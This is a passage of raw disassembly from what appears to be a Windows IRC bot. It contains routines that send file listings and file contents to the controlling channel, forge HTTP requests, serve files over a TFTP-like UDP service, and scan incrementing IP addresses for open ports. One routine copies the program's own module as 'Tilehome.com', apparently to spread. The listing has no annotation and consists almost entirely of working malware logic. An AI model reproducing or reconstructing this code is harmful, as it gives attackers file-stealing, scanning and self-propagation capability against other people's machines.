CODE XREF: sub_40517E+215j push [ebp+arg_0] call ds:off_41F07C cmp [ebp+arg_8], ebx jz short loc_4057BB mov eax, [ebp+var_8] cdq push edx push eax call sub_40A927 pop ecx pop ecx push eax mov eax, [ebp+var_4] cdq push edx push eax call sub_40A927 pop ecx pop ecx push eax lea eax, [ebp+var_120] push [ebp+arg_8] push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"... push eax call sub_413812 add esp, 14h jmp short loc_4057EF ; --------------------------------------------------------------------------- loc_4057BB: ; CODE XREF: sub_40517E+606j cmp [ebp+arg_C], ebx jz short loc_4057D5 lea eax, [ebp+var_120] push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... push eax call sub_413812 pop ecx pop ecx jmp short loc_4057EF ; --------------------------------------------------------------------------- loc_4057D5: ; CODE XREF: sub_40517E+640j push [ebp+var_8] lea eax, [ebp+var_120] push [ebp+var_4] push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n" push eax call sub_413812 add esp, 10h loc_4057EF: ; CODE XREF: sub_40517E+63Bj ; sub_40517E+655j lea eax, [ebp+var_120] push ebx push eax call sub_413E90 pop ecx push eax lea eax, [ebp+var_120] push eax push [ebp+arg_4] call dword_44CD28 ; send pop edi pop esi xor eax, eax pop ebx leave retn sub_40517E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405815 proc near ; CODE XREF: sub_404D4C+13Bp var_404 = byte ptr -404h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 404h push ebx push esi xor esi, esi push edi push esi push esi push 3 push esi push 1 push 80000000h push [ebp+arg_4] mov edi, 400h mov [ebp+var_4], esi call ds:dword_41F05C ; CreateFileA mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_4058CD push esi push ebx call ds:off_41F074 cmp eax, esi mov [ebp+arg_4], eax jz short loc_4058C6 loc_40585A: ; CODE XREF: sub_405815+AFj push 400h lea eax, [ebp+var_404] push esi push eax call sub_413890 add esp, 0Ch cmp edi, [ebp+arg_4] jbe short loc_405877 mov edi, [ebp+arg_4] loc_405877: ; CODE XREF: sub_405815+5Dj mov eax, [ebp+arg_4] push 2 neg eax push esi push eax push ebx call ds:off_41F094 lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_404] push edi push eax push ebx call ds:off_41F090 push esi lea eax, [ebp+var_404] push edi push eax push [ebp+arg_0] call dword_44CD28 ; send cmp eax, 0FFFFFFFFh jnz short loc_4058C1 call dword_44CC78 ; WSAGetLastError cmp eax, 2733h jnz short loc_4058C6 xor eax, eax loc_4058C1: ; CODE XREF: sub_405815+9Bj sub [ebp+arg_4], eax jnz short loc_40585A loc_4058C6: ; CODE XREF: sub_405815+43j ; sub_405815+A8j push ebx call ds:dword_41F058 ; CloseHandle loc_4058CD: ; CODE XREF: sub_405815+30j pop edi pop esi pop ebx leave retn sub_405815 endp ; =============== S U B R O U T I N E ======================================= sub_4058D2 proc near ; CODE XREF: sub_404ECE+17Cp arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] xor esi, esi push edi call sub_413E90 test eax, eax pop ecx jbe short loc_4058FB loc_4058E5: ; CODE XREF: sub_4058D2+27j cmp byte ptr [esi+edi], 5Ch jnz short loc_4058EF mov byte ptr [esi+edi], 2Fh loc_4058EF: ; CODE XREF: sub_4058D2+17j push edi inc esi call sub_413E90 cmp esi, eax pop ecx jb short loc_4058E5 loc_4058FB: ; CODE XREF: sub_4058D2+11j mov eax, edi pop edi pop esi retn sub_4058D2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405900 proc near ; CODE XREF: sub_40CC09+278Cp var_3A0 = byte ptr -3A0h var_210 = byte ptr -210h var_110 = byte ptr -110h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 3A0h push ebx lea eax, [ebp+var_3A0] push edi push eax push 101h call dword_44CC60 ; WSAStartup push 6 push 1 push 2 call dword_44CD58 ; socket mov ebx, eax xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_413890 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_14] call dword_44CCDC ; ntohs push [ebp+arg_10] mov [ebp+var_E], ax call sub_408947 pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push ebx call dword_44CC88 ; connect cmp eax, 0FFFFFFFFh jz short loc_4059DD mov eax, [ebp+arg_20] cmp eax, edi jnz short loc_405979 mov eax, offset byte_438A10 loc_405979: ; CODE XREF: sub_405900+72j push esi mov esi, 100h push [ebp+arg_10] push eax lea eax, [ebp+var_110] push [ebp+arg_1C] push [ebp+arg_18] push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"... push esi push eax call sub_413D8A add esp, 1Ch lea eax, [ebp+var_110] push edi push eax call sub_413E90 pop ecx push eax lea eax, [ebp+var_110] push eax push ebx call dword_44CD28 ; send push esi lea eax, [ebp+var_110] push edi push eax call sub_4138F0 add esp, 0Ch lea eax, [ebp+var_110] push edi push esi push eax push ebx call dword_44CCF4 ; recv pop esi loc_4059DD: ; CODE XREF: sub_405900+6Bj push ebx call dword_44CD70 ; closesocket call dword_44CC48 ; WSACleanup lea eax, [ebp+var_110] push eax lea eax, [ebp+var_210] push eax call sub_413812 cmp [ebp+arg_C], edi pop ecx pop ecx jnz short loc_405A1D push edi lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40B2B5 add esp, 14h loc_405A1D: ; CODE XREF: sub_405900+102j pop edi pop ebx leave retn sub_405900 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405A21 proc near ; CODE XREF: sub_405A21:loc_405F0Cp ; DATA XREF: sub_406059+107o ... var_784 = dword ptr -784h var_780 = dword ptr -780h var_680 = byte ptr -680h var_67F = byte ptr -67Fh var_67E = byte ptr -67Eh var_67D = byte ptr -67Dh var_67C = byte ptr -67Ch var_47C = byte ptr -47Ch var_37C = dword ptr -37Ch var_378 = byte ptr -378h var_274 = byte ptr -274h var_170 = dword ptr -170h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = byte ptr -164h var_E4 = dword ptr -0E4h var_E0 = dword ptr -0E0h var_D8 = byte ptr -0D8h var_D7 = byte ptr -0D7h var_D6 = byte ptr -0D6h var_D5 = byte ptr -0D5h var_58 = byte ptr -58h var_44 = word ptr -44h var_42 = word ptr -42h var_40 = dword ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_28 = dword ptr -28h var_1C = byte ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 784h push ebx push esi push edi mov edx, [ebp+arg_0] mov esi, offset aOctet ; "octet" lea edi, [ebp+var_1C] movsd push 1 xor ebx, ebx movsw pop eax mov ecx, 0A9h mov esi, edx lea edi, [ebp+var_37C] push ebx push 2 rep movsd inc [ebp+var_16C] push 2 mov [ebp+var_C], eax mov [edx+2A0h], eax call dword_44CD58 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_10], edi jnz short loc_405AE4 push 190h call ds:dword_41F050 ; Sleep call dword_44CC78 ; WSAGetLastError push eax lea eax, [ebp+var_47C] push offset unk_4259E0 push eax call sub_413812 add esp, 0Ch cmp [ebp+var_E0], ebx jnz short loc_405AC4 push ebx lea eax, [ebp+var_47C] push [ebp+var_E4] push eax lea eax, [ebp+var_164] push eax push [ebp+var_37C] call sub_40B2B5 add esp, 14h loc_405AC4: ; CODE XREF: sub_405A21+7Ej lea eax, [ebp+var_47C] push eax call sub_409833 push [ebp+var_170] call sub_4135DA pop ecx pop ecx push ebx call ds:off_41F040 loc_405AE4: ; CODE XREF: sub_405A21+50j mov eax, [ebp+var_170] push 10h imul eax, 134h push ebx mov dword_452134[eax], edi lea eax, [ebp+var_44] push eax call sub_413890 add esp, 0Ch mov [ebp+var_44], 2 push [ebp+var_168] call dword_44CCDC ; ntohs mov [ebp+var_42], ax lea eax, [ebp+var_44] push 10h push eax push edi mov [ebp+var_40], ebx call dword_44CD08 ; bind cmp eax, 0FFFFFFFFh jnz short loc_405B49 push 1388h call ds:dword_41F050 ; Sleep dec [ebp+var_16C] push [ebp+arg_0] jmp loc_405F0C ; --------------------------------------------------------------------------- loc_405B49: ; CODE XREF: sub_405A21+10Dj lea eax, [ebp+var_378] push offset aRb ; "rb" push eax call sub_414F8F pop ecx cmp eax, ebx pop ecx mov [ebp+var_8], eax jnz short loc_405BC7 push 190h call ds:dword_41F050 ; Sleep lea eax, [ebp+var_378] push eax lea eax, [ebp+var_47C] push offset unk_4259A8 push eax call sub_413812 push ebx lea eax, [ebp+var_47C] push [ebp+var_E4] push eax lea eax, [ebp+var_164] push eax push [ebp+var_37C] call sub_40B2B5 lea eax, [ebp+var_47C] push eax call sub_409833 push [ebp+var_170] call sub_4135DA add esp, 28h push ebx call ds:off_41F040 loc_405BC7: ; CODE XREF: sub_405A21+140j mov esi, 200h loc_405BCC: ; CODE XREF: sub_405A21+4A5j mov eax, [ebp+arg_0] cmp [eax+2A0h], ebx jz loc_405ECC mov [ebp+var_780], edi mov edi, 80h push edi lea eax, [ebp+var_D8] push ebx push eax mov [ebp+var_34], 5 mov [ebp+var_30], 1388h mov [ebp+var_784], 1 call sub_413890 add esp, 0Ch lea eax, [ebp+var_34] push eax push ebx lea eax, [ebp+var_784] push ebx push eax push ebx call dword_44CCC4 ; select test eax, eax jle loc_405EC0 mov al, byte_438A10 mov ecx, edi mov [ebp+var_680], al xor eax, eax lea edi, [ebp+var_67F] mov [ebp+var_4], 10h rep stosd stosw stosb mov edi, [ebp+var_10] lea eax, [ebp+var_4] push eax lea eax, [ebp+var_2C] push eax push ebx lea eax, [ebp+var_D8] push 80h push eax push edi call dword_44CCB4 ; recvfrom push [ebp+var_28] mov [ebp+var_C], eax call dword_44CD64 ; inet_ntoa push eax lea eax, [ebp+var_58] push eax call sub_413812 cmp [ebp+var_D8], bl pop ecx pop ecx jnz loc_405EAA cmp [ebp+var_D7], 1 jnz loc_405DF6 lea eax, [ebp+var_274] push eax call sub_413E90 lea eax, [ebp+eax+var_D5] mov [ebp+var_14], eax lea eax, [ebp+var_274] push eax call sub_413E90 push eax lea eax, [ebp+var_D6] push eax lea eax, [ebp+var_274] push eax call sub_4152D0 add esp, 14h test eax, eax jnz loc_405DB0 lea eax, [ebp+var_1C] push eax call sub_413E90 push eax lea eax, [ebp+var_1C] push [ebp+var_14] push eax call sub_4152D0 add esp, 10h test eax, eax jnz loc_405DB0 push ebx push ebx push [ebp+var_8] call sub_41523E push [ebp+var_8] lea eax, [ebp+var_67C] mov [ebp+var_680], bl mov [ebp+var_67F], 3 push esi push 1 push eax mov [ebp+var_67E], bl mov [ebp+var_67D], 1 call sub_414E87 add esp, 1Ch lea ecx, [ebp+var_2C] mov [ebp+var_C], eax add eax, 4 push [ebp+var_4] push ecx push ebx push eax lea eax, [ebp+var_680] push eax push edi call dword_44CD3C ; sendto lea eax, [ebp+var_378] push eax lea eax, [ebp+var_58] push eax push offset dword_425960 loc_405D64: ; CODE XREF: sub_405A21+484j lea eax, [ebp+var_47C] push eax call sub_413812 add esp, 10h cmp [ebp+var_E0], ebx jnz short loc_405D9E push ebx lea eax, [ebp+var_47C] push [ebp+var_E4] push eax lea eax, [ebp+var_164] push eax push [ebp+var_37C] call sub_40B2B5 add esp, 14h loc_405D9E: ; CODE XREF: sub_405A21+358j lea eax, [ebp+var_47C] push eax call sub_409833 pop ecx jmp loc_405EC0 ; --------------------------------------------------------------------------- loc_405DB0: ; CODE XREF: sub_405A21+2B6j ; sub_405A21+2D7j push [ebp+var_4] lea eax, [ebp+var_2C] push eax push ebx push 13h push offset dword_42594C push edi call dword_44CD3C ; sendto lea eax, [ebp+var_274] push eax lea eax, [ebp+var_58] push eax lea eax, [ebp+var_D8] push offset unk_425914 push eax call sub_413812 lea eax, [ebp+var_D8] push eax call sub_409833 add esp, 14h jmp loc_405EC0 ; --------------------------------------------------------------------------- loc_405DF6: ; CODE XREF: sub_405A21+275j cmp [ebp+var_D7], 4 jnz loc_405EAA mov cl, [ebp+var_D5] mov al, [ebp+var_D6] cmp cl, 0FFh mov [ebp+var_680], bl mov [ebp+var_67F], 3 jnz short loc_405E33 inc al xor cl, cl mov [ebp+var_67E], al mov [ebp+var_67D], bl jmp short loc_405E41 ; --------------------------------------------------------------------------- loc_405E33: ; CODE XREF: sub_405A21+3FEj inc cl mov [ebp+var_67E], al mov [ebp+var_67D], cl loc_405E41: ; CODE XREF: sub_405A21+410j movzx eax, al movzx ecx, cl shl eax, 8 add eax, ecx push ebx shl eax, 9 sub eax, esi push eax push [ebp+var_8] call sub_41523E push [ebp+var_8] lea eax, [ebp+var_67C] push esi push 1 push eax call sub_414E87 add esp, 1Ch mov edi, eax lea eax, [ebp+var_2C] mov [ebp+var_C], edi push [ebp+var_4] push eax lea eax, [edi+4] push ebx push eax lea eax, [ebp+var_680] push eax push [ebp+var_10] call dword_44CD3C ; sendto cmp edi, ebx jnz short loc_405EC0 lea eax, [ebp+var_378] push eax lea eax, [ebp+var_58] push eax push offset dword_4258BC jmp loc_405D64 ; --------------------------------------------------------------------------- loc_405EAA: ; CODE XREF: sub_405A21+268j ; sub_405A21+3DCj push [ebp+var_4] lea eax, [ebp+var_2C] push eax push ebx push 9 push offset dword_4258B0 push edi call dword_44CD3C ; sendto loc_405EC0: ; CODE XREF: sub_405A21+204j ; sub_405A21+38Aj ... cmp [ebp+var_C], ebx mov edi, [ebp+var_10] jg loc_405BCC loc_405ECC: ; CODE XREF: sub_405A21+1B4j push edi call dword_44CD70 ; closesocket push [ebp+var_8] call sub_414E31 mov esi, [ebp+arg_0] dec [ebp+var_16C] pop ecx cmp [esi+2A0h], ebx jnz short loc_405F00 push [ebp+var_170] call sub_4135DA pop ecx push ebx call ds:off_41F040 loc_405F00: ; CODE XREF: sub_405A21+4CAj push 3E8h call ds:dword_41F050 ; Sleep push esi loc_405F0C: ; CODE XREF: sub_405A21+123j call sub_405A21 pop edi pop esi pop ebx leave retn 4 sub_405A21 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405F18 proc near ; CODE XREF: sub_40CC09+5314p var_200 = byte ptr -200h var_100 = byte ptr -100h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push ebx push edi lea eax, [ebp+var_100] push offset unk_425DB0 push eax xor ebx, ebx call sub_413812 cmp dword_425A58, ebx pop ecx pop ecx mov edi, 0FFh jz short loc_405F86 push esi mov esi, offset dword_425A60 loc_405F4B: ; CODE XREF: sub_405F18+6Bj mov eax, [esi] add ebx, eax push eax lea eax, [esi-26h] push eax lea eax, [ebp+var_200] push offset aSD ; " %s: %d," push eax call sub_413812 lea eax, [ebp+var_200] push edi push eax lea eax, [ebp+var_100] push eax call sub_415310 add esi, 3Ch add esp, 1Ch cmp dword ptr [esi-8], 0 jnz short loc_405F4B pop esi loc_405F86: ; CODE XREF: sub_405F18+2Bj push dword_741F68 call sub_4092A2 push eax push ebx lea eax, [ebp+var_200] push offset aTotalDInS_ ; " Total: %d in %s." push eax call sub_413812 lea eax, [ebp+var_200] push edi push eax lea eax, [ebp+var_100] push eax call sub_415310 push 0 lea eax, [ebp+var_100] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40B2B5 lea eax, [ebp+var_100] push eax call sub_409833 add esp, 38h pop edi pop ebx leave retn sub_405F18 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405FE2 proc near ; CODE XREF: sub_40CC09+4C6Fp var_100 = byte ptr -100h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 100h push 8 call sub_413506 test eax, eax pop ecx jle short loc_40601E mov eax, [ebp+arg_C] push dword_438A20[eax*8] call dword_44CD64 ; inet_ntoa push eax lea eax, [ebp+var_100] push offset unk_425E18 push eax call sub_413812 add esp, 0Ch jmp short loc_406031 ; --------------------------------------------------------------------------- loc_40601E: ; CODE XREF: sub_405FE2+13j lea eax, [ebp+var_100] push offset unk_425DE4 push eax call sub_413812 pop ecx pop ecx loc_406031: ; CODE XREF: sub_405FE2+3Aj push 0 lea eax, [ebp+var_100] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40B2B5 lea eax, [ebp+var_100] push eax call sub_409833 add esp, 18h leave retn sub_405FE2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406059 proc near ; CODE XREF: sub_406782+4Fp var_110 = dword ptr -110h var_104 = byte ptr -104h var_4 = byte ptr -4 arg_10 = byte ptr 18h arg_90 = byte ptr 98h arg_110 = dword ptr 118h arg_130 = dword ptr 138h arg_138 = dword ptr 140h arg_13C = dword ptr 144h push ebp mov ebp, esp sub esp, 104h mov eax, [ebp+arg_130] push ebx cmp eax, 0FFFFFFFFh push esi jz loc_4063E9 imul eax, 3Ch xor ebx, ebx cmp dword_425A64[eax], ebx jz loc_4062CA push 4 call sub_413506 test eax, eax pop ecx jnz loc_4063E9 mov eax, dword_42A320 push edi mov edi, offset dword_44C2BC push 104h push edi push ebx mov dword_44C4CC, eax mov dword_44C4C8, ebx call ds:dword_41F060 ; GetModuleFileNameA push 103h mov esi, offset dword_44C3C0 push offset aTilehome_com ; "Tilehome.com" push esi call sub_415140 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_44C2B8, eax mov eax, [ebp+arg_138] push 7Fh mov dword_44C550, eax jnz short loc_40610C lea eax, [ebp+arg_10] push eax push offset dword_44C4D0 call sub_415140 add esp, 0Ch mov dword_44C554, 1 jmp short loc_406126 ; --------------------------------------------------------------------------- loc_40610C: ; CODE XREF: sub_406059+94j lea eax, [ebp+arg_90] push eax push offset dword_44C4D0 call sub_415140 add esp, 0Ch mov dword_44C554, ebx loc_406126: ; CODE XREF: sub_406059+B1j push esi push edi push dword_44C4CC lea eax, [ebp+var_104] push offset unk_425FAC push eax call sub_413812 push ebx lea eax, [ebp+var_104] push 4 push eax call sub_4132BE add esp, 20h mov dword_44C4C4, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_44C2B8 push offset sub_405A21 push ebx push ebx call ds:off_41F070 mov ecx, dword_44C4C4 imul ecx, 134h cmp eax, ebx mov dword_45213C[ecx], eax jz short loc_406195 loc_406183: ; CODE XREF: sub_406059+13Aj cmp dword_44C558, ebx jnz short loc_4061B0 push 32h call ds:dword_41F050 ; Sleep jmp short loc_406183 ; --------------------------------------------------------------------------- loc_406195: ; CODE XREF: sub_406059+128j call ds:off_41F06C push eax lea eax, [ebp+var_104] push offset unk_425F68 push eax call sub_413812 add esp, 0Ch loc_4061B0: ; CODE XREF: sub_406059+130j lea eax, [ebp+var_104] push eax call sub_409833 mov edi, offset dword_44C914 mov [esp+110h+var_110], 104h push edi push ebx mov dword_44CB20, ebx call ds:dword_41F060 ; GetModuleFileNameA push 103h mov esi, offset dword_44CA18 push offset aTilehome_com ; "Tilehome.com" push esi call sub_415140 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_44C910, eax mov eax, [ebp+arg_138] push 7Fh mov dword_44CBA8, eax jnz short loc_40622B lea eax, [ebp+arg_10] push eax push offset dword_44CB28 call sub_415140 add esp, 0Ch mov dword_44CBAC, 1 jmp short loc_406245 ; --------------------------------------------------------------------------- loc_40622B: ; CODE XREF: sub_406059+1B3j lea eax, [ebp+arg_90] push eax push offset dword_44CB28 call sub_415140 add esp, 0Ch mov dword_44CBAC, ebx loc_406245: ; CODE XREF: sub_406059+1D0j push esi push edi push dword_44CB24 lea eax, [ebp+var_104] push offset unk_425F18 push eax call sub_413812 push ebx lea eax, [ebp+var_104] push 5 push eax call sub_4132BE add esp, 20h mov dword_44CB1C, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_44C910 push offset sub_4041D7 push ebx push ebx call ds:off_41F070 mov ecx, dword_44CB1C pop edi imul ecx, 134h cmp eax, ebx mov dword_45213C[ecx], eax jz short loc_4062B9 loc_4062A3: ; CODE XREF: sub_406059+25Ej cmp dword_44CBB0, ebx jnz loc_4063DC push 32h call ds:dword_41F050 ; Sleep jmp short loc_4062A3 ; --------------------------------------------------------------------------- loc_4062B9: ; CODE XREF: sub_406059+248j call ds:off_41F06C push eax push offset unk_425ED8 jmp loc_4063CD ; --------------------------------------------------------------------------- loc_4062CA: ; CODE XREF: sub_406059+25j cmp dword_425A68[eax], ebx jz loc_4063E9 push 3 call sub_413506 test eax, eax pop ecx jnz loc_4063E9 mov esi, offset dword_44C7EC push 104h push esi push ebx call ds:dword_41F060 ; GetModuleFileNameA push 5Ch push esi call sub_415440 pop ecx cmp eax, ebx pop ecx jz short loc_406308 mov [eax], bl loc_406308: ; CODE XREF: sub_406059+2ABj mov eax, dword_42A324 mov dword_44C904, ebx mov dword_44C8F0, eax lea eax, [ebp+arg_10] push eax push offset dword_44C564 call sub_413812 mov eax, [ebp+arg_110] pop ecx pop ecx mov dword_44C560, eax mov ecx, [ebp+arg_138] push esi push dword_44C8F0 mov dword_44C8FC, ecx mov ecx, [ebp+arg_13C] push eax mov dword_44C900, ecx call sub_408A5D pop ecx push eax lea eax, [ebp+var_104] push offset unk_425E8C push eax call sub_413812 push ebx lea eax, [ebp+var_104] push 3 push eax call sub_4132BE add esp, 20h mov dword_44C8F8, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_44C560 push offset sub_4048F1 push ebx push ebx call ds:off_41F070 mov ecx, dword_44C8F8 imul ecx, 134h cmp eax, ebx mov dword_45213C[ecx], eax jz short loc_4063C1 loc_4063AF: ; CODE XREF: sub_406059+366j cmp dword_44C90C, ebx jnz short loc_4063DC push 32h call ds:dword_41F050 ; Sleep jmp short loc_4063AF ; --------------------------------------------------------------------------- loc_4063C1: ; CODE XREF: sub_406059+354j call ds:off_41F06C push eax push offset unk_425E48 loc_4063CD: ; CODE XREF: sub_406059+26Cj lea eax, [ebp+var_104] push eax call sub_413812 add esp, 0Ch loc_4063DC: ; CODE XREF: sub_406059+250j ; sub_406059+35Cj lea eax, [ebp+var_104] push eax call sub_409833 pop ecx loc_4063E9: ; CODE XREF: sub_406059+14j ; sub_406059+35j ... pop esi pop ebx leave retn sub_406059 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4063ED proc near ; CODE XREF: sub_40656E:loc_4065DFp arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push esi push 4 lea esi, ds:438A20h[eax*8] lea eax, [ebp+arg_0] push esi push eax call sub_4138F0 add esp, 0Ch push [ebp+arg_0] call dword_44CC20 ; ntohl inc eax push eax mov [ebp+arg_0], eax call dword_44CCD8 ; ntohl mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax push esi call sub_4138F0 mov eax, [esi] add esp, 0Ch pop esi pop ebp retn sub_4063ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406435 proc near ; CODE XREF: sub_40656E+69p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi or esi, 0FFFFFFFFh push [ebp+arg_0] mov [ebp+var_C], esi mov [ebp+var_8], esi mov [ebp+var_4], esi mov [ebp+var_10], esi call sub_413E90 cmp eax, 0Fh pop ecx jbe short loc_40645D xor eax, eax jmp short loc_4064CE ; --------------------------------------------------------------------------- loc_40645D: ; CODE XREF: sub_406435+22j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_C] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push [ebp+arg_0] call sub_414D21 add esp, 18h cmp [ebp+var_C], esi jnz short loc_40648A call sub_41386E mov [ebp+var_C], eax loc_40648A: ; CODE XREF: sub_406435+4Bj cmp [ebp+var_8], esi jnz short loc_406497 call sub_41386E mov [ebp+var_8], eax loc_406497: ; CODE XREF: sub_406435+58j cmp [ebp+var_4], esi jnz short loc_4064A4 call sub_41386E mov [ebp+var_4], eax loc_4064A4: ; CODE XREF: sub_406435+65j mov eax, [ebp+var_10] cmp eax, esi jnz short loc_4064B0 call sub_41386E loc_4064B0: ; CODE XREF: sub_406435+74j shl eax, 8 add eax, [ebp+var_4] mov ecx, [ebp+var_C] shl eax, 8 add eax, [ebp+var_8] shl eax, 8 add eax, ecx mov ecx, [ebp+arg_4] mov dword_438A20[ecx*8], eax loc_4064CE: ; CODE XREF: sub_406435+26j pop esi leave retn sub_406435 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4064D1 proc near ; CODE XREF: sub_40656E+B8p ; sub_40ADCF+35Dp var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 120h push ebx push esi push edi push 1 pop edi xor ebx, ebx push ebx push edi push 2 mov [ebp+var_4], edi call dword_44CD58 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_4064FA xor eax, eax jmp short loc_406569 ; --------------------------------------------------------------------------- loc_4064FA: ; CODE XREF: sub_4064D1+23j mov eax, [ebp+arg_0] push [ebp+arg_4] mov [ebp+var_1C], 2 mov [ebp+var_18], eax call dword_44CCDC ; ntohs mov [ebp+var_1A], ax lea eax, [ebp+var_4] push eax push 8004667Eh push esi call dword_44CD74 ; ioctlsocket lea eax, [ebp+var_1C] push 10h push eax push esi call dword_44CC88 ; connect mov eax, [ebp+arg_8] mov [ebp+var_8], ebx mov [ebp+var_C], eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_120] push ebx push eax push ebx push ebx mov [ebp+var_11C], esi mov [ebp+var_120], edi call dword_44CCC4 ; select push esi mov edi, eax call dword_44CD70 ; closesocket xor eax, eax cmp edi, ebx setnle al loc_406569: ; CODE XREF: sub_4064D1+27j pop edi pop esi pop ebx leave retn sub_4064D1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40656E proc near ; DATA XREF: sub_406782+13Bo var_2A8 = dword ptr -2A8h var_28C = byte ptr -28Ch var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_1F8 = byte ptr -1F8h var_178 = byte ptr -178h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = dword ptr -164h var_15C = dword ptr -15Ch var_158 = dword ptr -158h var_150 = byte ptr -150h var_140 = byte ptr -140h var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_150] rep movsd mov esi, [ebp+var_2C] mov dword ptr [eax+148h], 1 mov eax, [ebp+var_28] mov [ebp+var_4], esi mov [ebp+arg_0], eax call ds:dword_41F044 ; GetTickCount push eax call sub_413864 mov ebx, esi pop ecx imul ebx, 134h loc_4065B5: ; CODE XREF: sub_40656E+200j mov eax, dword_45212C[ebx] cmp dword_438A24[eax*8], 0 jz loc_406773 cmp [ebp+var_10], 0 push eax jz short loc_4065DF lea eax, [ebp+var_150] push eax call sub_406435 pop ecx jmp short loc_4065E4 ; --------------------------------------------------------------------------- loc_4065DF: ; CODE XREF: sub_40656E+60j call sub_4063ED loc_4065E4: ; CODE XREF: sub_40656E+6Fj pop ecx mov edi, eax push [ebp+arg_0] push dword_45212C[ebx] push [ebp+var_3C] push edi call dword_44CD64 ; inet_ntoa push eax lea eax, [ebp+var_28C] push offset unk_426044 push eax call sub_413812 lea eax, [ebp+var_28C] push eax lea eax, dword_452028[ebx] push eax call sub_413812 push [ebp+var_38] push [ebp+var_3C] push edi call sub_4064D1 add esp, 2Ch cmp eax, 1 jnz loc_406763 cmp [ebp+var_20], 0FFFFFFFFh jnz short loc_4066B8 push offset dword_44C2A0 call ds:off_41F09C push [ebp+var_3C] push edi call dword_44CD64 ; inet_ntoa push eax lea eax, [ebp+var_28C] push offset unk_426008 push eax call sub_413812 add esp, 10h cmp [ebp+var_14], 0 jnz short loc_40669A cmp [ebp+var_C0], 0 push 1 push [ebp+var_18] lea eax, [ebp+var_28C] push eax lea eax, [ebp+var_C0] jnz short loc_40668E lea eax, [ebp+var_140] loc_40668E: ; CODE XREF: sub_40656E+118j push eax push [ebp+var_40] call sub_40B2B5 add esp, 14h loc_40669A: ; CODE XREF: sub_40656E+FDj lea eax, [ebp+var_28C] push eax call sub_409833 mov 